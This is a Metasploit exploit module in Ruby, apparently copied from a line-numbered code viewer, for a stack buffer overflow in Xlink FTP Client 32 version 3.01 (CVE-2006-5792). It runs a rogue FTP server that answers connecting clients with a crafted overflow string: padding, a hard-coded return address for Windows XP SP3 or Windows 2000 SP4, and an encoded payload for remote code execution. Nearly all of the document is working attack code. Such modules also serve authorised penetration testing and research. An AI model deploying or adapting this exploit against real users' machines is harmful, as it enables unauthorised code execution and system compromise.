| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 | ## # $Id: xlink_client.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote  Rank = NormalRanking  include Msf::Exploit::Remote::TcpServer  def initialize(info = {})  super(update_info(info,  'Name' => 'Xlink FTP Client Buffer Overflow',  'Description'=> %q{  This module exploits a stack buffer overflow in Xlink FTP Client 32  Version 3.01 that comes bundled with Omni-NFS Enterprise 5.2.  When a overly long FTP server response is recieved by a client,  arbitrary code may be executed.  },  'Author' => [ 'MC' ],  'License'=> MSF_LICENSE,  'Version'=> '$Revision: 10998 $',  'References' =>  [  [ 'CVE', '2006-5792' ],  [ 'OSVDB', '33969' ],  [ 'URL', 'http://www.metasploit.com/' ],  [ 'URL', 'http://www.xlink.com' ],  ],  'DefaultOptions' =>  {  'EXITFUNC' => 'process',  },  'Payload'=>  {  'Space'=> 550,  'BadChars' => "\x00\x0a\x0d\().,",  'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",  'StackAdjustment' => -3500,  },  'Platform' => 'win',  'Targets'=>  [  [ 'Windows XP Pro SP3 English', { 'Ret' => 0x7d054897 } ],  [ 'Windows 2000 SP4 English', { 'Ret' => 0x7ce02a2d } ],  ],  'Privileged' => false,  'DisclosureDate' => 'Oct 3 2009',  'DefaultTarget'=> 0))  register_options(  [  OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),  ], self.class)  end  def on_client_connect(client)  return if ((p = regenerate_payload(client)) == nil)  sploit =rand_text_alpha_upper(260) + [target.ret].pack('V') + payload.encoded  sploit << rand_text_alpha_upper(1024 - payload.encoded.length) + "\r\n"  print_status("Sending #{self.name}...")  client.put(sploit)  handler(client)  service.close_client(client)  end end |